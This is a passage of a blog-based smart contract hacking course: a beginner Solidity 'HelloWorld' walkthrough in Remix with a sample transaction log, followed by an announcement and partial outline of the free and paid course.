powerful development tool and absolutely free to use. </span></p><span style="color: #6aa84f;">Below is the simple code example we will analyze before moving on to a live walk through. </span><div><span style="color: #6aa84f;"><br /></span><div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;">pragma solidity </span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">; <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><o:p> </o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;">contract </span><span style="color: #89bdff;">HelloWorld</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: #e28964;"><span style="mso-spacerun: yes;"> </span>constructor</span><span style="color: white;"> () </span><span style="color: #e28964;">public</span><span style="color: white;"> payable {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span></span><i><span style="color: #aeaeae;">//This is a comment</span></i><span style="color: white;"><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span></span><i><span style="color: #aeaeae;">//You can put your configuration information here</span></i><span style="color: white;"><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"> <span style="mso-tab-count: 1;"> </span><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> hello () </span><span style="color: #e28964;">public</span><span style="color: white;"> pure returns (</span><span style="color: #e28964;">string</span><span style="color: white;"> memory) {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 2;"> </span><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">return</span><span style="color: white;"> </span><span style="color: #65b042;">"Hello World"</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">12.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">13.</span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: 115%;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">There is a lot going on in this
small program so I will try to break it down as simple as possible. In the
first line, we have the pragma statement which is required at the top of each
program to let the compiler know which version of solidity this code was written
for.<span style="mso-spacerun: yes;"> </span>As I said earlier, these versions
change rapidly due to the evolving technology and many changes are implemented
into each new version. So, the compiler needs to know which version you
intended this to run on. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">On line 3 is the word “contract”
followed by whatever name you wish to call your contract. The contract’s
functionality is then enclosed in curly braces. This is similar to creating a
class in any other language. It’s a block of associated code that can be
inherited, or interfaced with and contains its own variables and methods. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">On line 5 contained within the
contract curly braces we have a constructor denoted by the word
“constructor”.<span style="mso-spacerun: yes;"> </span>The constructor is run
one time at contract creation and used to setup any variables or details of the
smart contract. This is often used for creating an administrator of the
contract or other items that are needed prior to contract usage.<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Functions and variables within
Solidity also have various types and visibility set with their creation.<span style="mso-spacerun: yes;"> </span>In this case also on line 5 you will see the
words “public” and “payable” used to describe the constructor. </span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Public you may
be familiar with as it’s a common visibility keyword used in other languages
denoting that anyone can call this function. There are other visibility types in
Solidity listed below, we will cover each of these in more detail as we use
them to our advantage when hacking smart contracts:<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #6aa84f;"> </span></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;"><b>Public </b><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">This allows anyone to call and use
this function <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #6aa84f;"> </span></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;"><b>Private</b><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">This allows only the current
contract and its functions to call it directly. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #6aa84f;"> </span></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;"><b>Internal</b><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">This is similar to private except
it also allows derived contracts to use its functionality<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #6aa84f;"> </span></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;"><b>External</b><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">External can only be called
externally by other contracts unless the “this” keyword is used with the
function call. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #6aa84f;"> </span></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">The second keyword in the constructor definition “payable” you may not be familiar with unless you have worked on blockchain
projects. The word payable within solidity is needed on any item that can
receive Ether. So, by setting the constructor as payable we can send
a base amount of Ether to the contract when its deployed. This will add an initial
monetary liquidity for whatever functionality the contract is providing. For
example, if this were a gambling game, we would need some initial Ethereum to
payout our winners before our revenues catch up with our payouts and we start
collecting large sums of failed gambling revenue.<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Within the constructor is an
example of how comments are handled in solidity, the simple double forward slash is
used like in most languages. Comments function in the same way as any other
language in that they are not processed and they are ignored by the compiler but are
useful for understanding the code you wrote later after you have taking time apart from reading your code.<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Finally, we have our simple hello function
starting on line 10. Again, there is a lot going on here. First is the name of
the function with parentheses that can contain arguments like in any other
language. However, this function does not take arguments. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">You will notice two more keywords
in the function definition “pure” and “returns”. Returns is simply the way the
function denotes that it will return a value to the user, which it then states
directly after it what type of variable it returns. In this case, it returns a
string in memory.<span style="mso-spacerun: yes;"> </span>We will talk about
memory and storage later on and the security implications of them. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Next is the word “Pure” there are a
couple types of functions in Solidity which will list below with a brief
description. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;"><br /></span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;"><b>View</b><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">This type of function does not
modify or change the state of the contract but may return values and use global
variables.</span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;"><b>Pure</b><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">A pure function is a function which
is completely self-contained in that it only uses local variables and it does
not change the state of the smart contract.<o:p></o:p></span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;"><br /></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Finally, in line 11 we return our
string to the user who called the function. In the context of a user, this
could be a physical user using an application or smart contract functionality
or it could actually be another smart contract calling the function. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #6aa84f;"> </span></o:p></p>
<h2><span style="color: #6aa84f;"><a name="_Toc47892467">Hands on Lab – Remix HelloWorld</a><o:p></o:p></span></h2>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Now that we talked over in detail
all the new concepts to solidity programs using a small example, lets compile
and run this code on remix.ethereum.org. <o:p></o:p></span></p>
<h3 style="line-height: 115%; text-align: left;"><span style="color: #6aa84f;">Action Steps:</span></h3><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><span style="color: #6aa84f;"><span style="font-family: Wingdings;">ü</span> Browse to remix.etherum.org<br /><span style="font-family: Wingdings;">ü</span> Type out the the code from above (Do not copy Paste it)<br /><span style="font-family: Wingdings;">ü</span> Compile and deploy the code<br /><span style="font-family: Wingdings;">ü</span> Review the transaction in the log window</span></blockquote><span style="color: #6aa84f;"><o:p></o:p></span><p></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; mso-list: l0 level1 lfo1; text-indent: -0.25in;"><span style="color: #6aa84f;"><o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; mso-list: l0 level1 lfo1; text-indent: -0.25in;"><span style="color: #6aa84f;"><o:p></o:p></span></p>
<p class="MsoListParagraphCxSpLast" style="line-height: 115%; mso-list: l0 level1 lfo1; text-indent: -0.25in;"><span style="color: #6aa84f;"><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;"><span style="mso-no-proof: yes;"><v:shapetype coordsize="21600,21600" filled="f" id="_x0000_t75" o:preferrelative="t" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" stroked="f">
<v:stroke joinstyle="miter">
<v:formulas>
<v:f eqn="if lineDrawn pixelLineWidth 0">
<v:f eqn="sum @0 1 0">
<v:f eqn="sum 0 0 @1">
<v:f eqn="prod @2 1 2">
<v:f eqn="prod @3 21600 pixelWidth">
<v:f eqn="prod @3 21600 pixelHeight">
<v:f eqn="sum @0 0 1">
<v:f eqn="prod @6 1 2">
<v:f eqn="prod @7 21600 pixelWidth">
<v:f eqn="sum @8 21600 0">
<v:f eqn="prod @7 21600 pixelHeight">
<v:f eqn="sum @10 21600 0">
</v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:formulas>
<v:path gradientshapeok="t" o:connecttype="rect" o:extrusionok="f">
<o:lock aspectratio="t" v:ext="edit">
</o:lock></v:path></v:stroke></v:shapetype><v:shape id="Picture_x0020_10" o:spid="_x0000_i1029" style="height: 224.25pt; mso-wrap-style: square; visibility: visible; width: 224.25pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png">
</v:imagedata></v:shape></span><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #6aa84f;"> </span></o:p></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Intro to the Remix Development Environment Video</span></p><p class="MsoNormal" style="line-height: 115%;"></p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/me840K18IFM" width="320" youtube-src-id="me840K18IFM"></iframe></div><o:p><br /></o:p><p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">In Remix create a new file and type out the example helloworld code. I would suggest that you actually type out all of the examples in this book. They will not be exhaustive or long and will provide you great value and make you comfortable when it comes to writing your own exploits and using the compilers and tools. These are all essential tools to your understanding.</span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Within your remix environment, you
will want to select the compiler version 0.6.6 to ensure that this code runs correctly. <o:p></o:p>If you typed out the code correctly
you should not receive any errors and you will be able to deploy and interact with it. In the following video we will walk you through that process and explain some nuances of solidity. </span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;"><o:p></o:p></span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;"><br /></span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Explaining and Compiling HelloWorld Video: </span></p><p class="MsoNormal" style="line-height: 115%;"></p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/MjxUnLFhb-w" width="320" youtube-src-id="MjxUnLFhb-w"></iframe></div><br /><span style="color: #6aa84f;"><br /></span><p></p><p class="MsoNormal" style="line-height: 115%;"><br /></p><p class="MsoNormal" style="line-height: 115%;"><br /></p><p class="MsoNormal" style="line-height: 115%;"><br /></p><ol start="1" style="margin-top: 0in;" type="1">
</ol>
<p class="MsoNormal" style="line-height: 115%;"><o:p> </o:p></p><div><span style="color: #6aa84f;">Lets now quickly review a few key points about the transaction that you saw within the video when compiling your code. This transaction is shown below. </span></div>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">__________________________________________________________________________________<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6aa84f;">call to
HelloWorld.hello<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6aa84f;">CALL<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6aa84f;">from <span style="mso-tab-count: 1;"> </span>0xBF8B5A94eD4dFB45089b455B1A0e296D6669c625<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6aa84f;"><span style="mso-spacerun: yes;"> </span>to <span style="mso-tab-count: 1;"> </span>HelloWorld.hello()
0xADe285e11e0B9eE35167d1E25C3605Eba1778C86<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6aa84f;"><span style="mso-spacerun: yes;"> </span>transaction cost <span style="mso-tab-count: 1;"> </span>21863 gas (Cost only applies when called by a contract)<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6aa84f;"><span style="mso-spacerun: yes;"> </span>execution cost <span style="mso-tab-count: 1;"> </span>591 gas (Cost only applies when called by a contract)<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6aa84f;"><span style="mso-spacerun: yes;"> </span>hash <span style="mso-tab-count: 1;"> </span>0x14557f9552d454ca865deb422ebb50a853735b57efaebcfc9c9abe57ba1836ed<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6aa84f;"><span style="mso-spacerun: yes;"> </span>input <span style="mso-tab-count: 1;"> </span>0x19f...f1d21<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6aa84f;"><span style="mso-spacerun: yes;"> </span>decoded input <span style="mso-tab-count: 1;"> </span>{}<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6aa84f;"><span style="mso-spacerun: yes;"> </span>decoded output <span style="mso-tab-count: 1;"> </span>{<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6aa84f;"><span style="mso-tab-count: 1;"> </span>"0": "string:
Hello World"<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6aa84f;">}<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6aa84f;"><span style="mso-spacerun: yes;"> </span>logs <span style="mso-tab-count: 1;"> </span>[]<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">_________________________________________________________________________________<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #6aa84f;"> </span></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">The output above is a hello transaction which contains the relevant data retrieved when you executed the
hello function in the video. The first important thing to notice is the word “CALL”. In
solidity there are call and send transactions. The difference between the two is
whether they change the state of the blockchain or not. In this case we did not
change the state, we only retrieved information so a CALL was issued.<span style="mso-spacerun: yes;"> </span>If we were changing variables and sending
values then a SEND transaction would have been issued instead. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Next you will see the “From”
address which should correspond with the address you used to call the
transaction.<span style="mso-spacerun: yes;"> </span>The “To” field should be
the address the smart contract was given when you deployed the smart contract.
You can view this on your deployment screen next to the deployed contract name
by hitting the copy button and pasting it somewhere to see the full value. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">You will then see the costs and gas
associated with the transaction. Costs change based on the size of the
contracts and the assembly code created by the compiler. Each instruction has a
cost. We will cover that later when we do a bit of debugging and decompiling. </span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Finally take note of the Decoded
Output which contains the return string of “Hello World”. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #6aa84f;"> </span></o:p></p>
<h2><span style="color: #6aa84f;"><a name="_Toc47892468">Summary</a><o:p></o:p></span></h2>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">If you are new to solidity or new
to programming in general this might have been a lot of information. In the
next chapter we cover a few more key solidity concepts before moving on to exploiting vulnerabilities where a much more in depth understanding of how solidity works
and its security implications will be explored. For more solidity resources and
full-length free tutorials check out the following references<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #6aa84f;"> </span></o:p><span style="color: #6aa84f;"> </span></p>
<h2 style="text-align: left;"><span style="color: #6aa84f;"><a name="_Toc47892469">Homework:</a></span></h2>
<p class="MsoNormal" style="line-height: 115%;"><a href="https://cryptozombies.io/en/course/"><span style="color: #6fa8dc;">https://cryptozombies.io/en/course/</span></a></p></div>Ficti0nhttp://www.blogger.com/profile/10756896998856282829noreply@blogger.com1tag:blogger.com,1999:blog-5948768001255972621.post-23022621364168959022020-08-10T06:00:00.100-07:002022-02-18T19:52:28.353-08:00Blockchain Decentralized Application Hacking Course - A journey into Smart Contract Hacking and DApp Penetration Testing (Web 3.0)<h1 style="text-align: left;"><span style="color: #6aa84f;"><br /></span></h1><h1 style="text-align: left;"><span style="color: #6aa84f;">Smart Contract Exploitation and Hacking Course Announcement</span></h1><p><span style="color: #6aa84f;"><br /></span></p><h2 style="text-align: left;"><span style="color: #6aa84f;">What Is this: </span></h2><p><span style="color: #6aa84f;">For those who have been hitting me up on twitter and YouTube for more blockchain smart contract exploitation content this blog is for you. I have posted a video below explaining what this is and included a course outline of the content we are providing free for everyone. I was actually told recently that I am crazy for giving out this level of detailed content and training for free.. However, I believe in the original hacker ethic code from long ago, that information should be freely available for everyone!! In this frame of mind, the only pay for content will be if you wish to go the extra mile. For the person who wants to prove to themselves or others that they learned something via a certification package </span><span style="color: #6aa84f;">with detailed exam prep targets and guides, followed by a final exam CTF and reporting write-up. </span></p><p><span style="color: #6aa84f;">So I hope you enjoy this content. The content and walk through labs will be all free. This content will be posted regularly over the next few months 90% of it is already written and ready to go. </span></p><p><span style="color: #6aa84f;">We will start off with the differences between Solidity and other languages and do a quick coding overview before we start hacking. This way everyone is on the same page when we start looking at coding examples of vulnerable targets or reviewing case study code. Then we will cover a wide range of typical issues that effect decentralized applications(DApps) and smart contracts on the Ethereum blockchain. How to spot them and exploit them with full walk-through style learning. Subjects we have already released (Re-Entrancy, Integer Attacks, Authorization) have been updated with new code, new examples, and case studies etc. Some of the learning content will be the same but with a lot of newly added content. And in the case of Authorization completely re-written and expanded on. </span></p><p><span style="color: #6aa84f;">Basically this course was created to get the information out there in a clear concise way. Because when I started researching blockchain hacking all I found was a paragraph here and there on something that was overly technical or completely theoretical. I couldn't find any clear concise learning or examples. This drove me nuts trying to figure everything out, until I gave up and just coded my own vulnerabilities and hacked them. So hopefully this fills the knowledge gap to offer a clear and concise, Zero Fluff resource to those on the same path. </span></p><p><span style="color: #6aa84f;"><br /></span></p><h2 style="text-align: left;"><span style="color: #6aa84f;">CTF Exam: </span></h2><p><span style="color: #6aa84f;">If you do enjoy this series over the next few months and want to challenge your skills and certify that you learned something we will be also offering pay for certification bundle that includes Decentralized Application (DApp) targets and detailed lab guides as preparation for a final exam against a more comprehensive CTF certification challenge target. More info on this as the months progress. </span></p><p><span style="color: #6aa84f;"><br /></span></p><h2 style="text-align: left;"><span style="color: #6aa84f;">Bug Bounty of Sorts: </span></h2><p><span style="color: #6aa84f;">These labs are completed but we are working on a way to deliver the content which requires me to code up a course delivery software. So feel free to hack the course delivery software once its up, if you break in or bypass authorizations I will give you the full course for free provided you help me fix it. :P </span></p><p><span style="color: #6aa84f;"><br /></span></p><h2 style="text-align: left;"><span style="color: #6aa84f;">Pre- Requisites: </span></h2><p><span style="color: #6aa84f;">This is more of a intermediate / advanced course with a white box code approach to bug hunting and a dynamic approach to application hacking and exploiting targets, with that said you will need the following pre-requisites: </span></p><p></p><ul style="text-align: left;"><li><span style="color: #6aa84f;">Ability to code in some language and understanding of coding concepts. </span></li><li><span style="color: #6aa84f;">Application hacking or development background with firm understanding of vulnerabilities</span></li></ul><p></p><p><span style="color: #6aa84f;"><br /></span></p><h2 style="text-align: left;"><span style="color: #6aa84f;">Contact Info:</span></h2><p><span style="color: #6aa84f;">As this is free, I only ask that you provide constructive feedback as we are creating other more advanced hacking courses on random subjects we are interested in. Most of which will be free. And feedback helps us not do things which are not useful and integrate new ideas where they make sense.</span></p><p><span style="color: #6aa84f;">Cheers and I hope this finds you well.</span></p><p><span style="color: #6aa84f;">Twitter: </span></p><p></p><ul style="text-align: left;"><li><a href="https://twitter.com/ficti0n" target="_blank"><span style="color: #3d85c6;">@ficti0n</span></a></li><li><a href="https://twitter.com/GarrGhar" target="_blank"><span style="color: #3d85c6;">@GarrGhar</span></a></li></ul><p></p><p><span style="color: #6aa84f;">Email: </span></p><p></p><ul style="text-align: left;"><li><span style="color: #3d85c6;">info@cclabs.io</span></li></ul><p></p><p><span style="color: #6aa84f;">WebPage: </span><span style="color: #38761d;"> </span></p><p></p><ul style="text-align: left;"><li><a href="http://cclabs.io"><span style="color: #3d85c6;">http://cclabs.io</span></a></li><li><a href="http://consolecowboys.com"><span style="color: #3d85c6;">http://consolecowboys.com</span></a></li></ul><p></p><p><br /></p><h1 style="text-align: left;"><span style="color: #6aa84f;">Course Outline / Release Order: </span></h1><h3 style="text-align: left;"><span style="color: #f6b26b;">Orange = = Whats included additionally for the full course</span></h3><h3 style="text-align: left;"><span style="color: #3d85c6;"><b>Blue</b></span><b style="color: #38761d;"> </b><span style="color: #3d85c6;">= = What will be released free in blogs / videos </span></h3><h3 style="text-align: left;"><span style="color: #3d85c6;">(Mostly every Mondays) over the next few months</span></h3><div><span style="color: #3d85c6;"><br /></span></div><p><span style="color: #f6b26b;">Building and Scoping Things</span></p><p><span style="color: #f6b26b;"> Chapter 1: Cliff Notes on Blockchain</span></p><p><span style="color: #f6b26b;"> Intro:</span></p><p><span style="color: #f6b26b;"> What is a Blockchain and how is it secured</span></p><p><span style="color: #f6b26b;"> Smart Contracts</span></p><p><span style="color: #f6b26b;"> What is a Decentralized Application (DApp)?</span></p><p><span style="color: #f6b26b;"> Diving into Blockchain Components:</span></p><p><span style="color: #f6b26b;"> Distributed Vs Decentralized</span></p><p><span style="color: #f6b26b;"> Provenance Use Case:</span></p><p><span style="color: #f6b26b;"> Consensus and Mining:</span></p><p><span style="color: #f6b26b;"> Hands on Lab - Blockchain Consensus walkthrough Lab</span></p><p><span style="color: #f6b26b;"> Summary:</span></p><p><span style="color: #f6b26b;"> References:</span></p><p><span style="color: #f6b26b;"><br /></span></p><p><span style="color: #f6b26b;"> Chapter 2: Threat Modeling and Scoping Engagements</span></p><p><span style="color: #f6b26b;"> 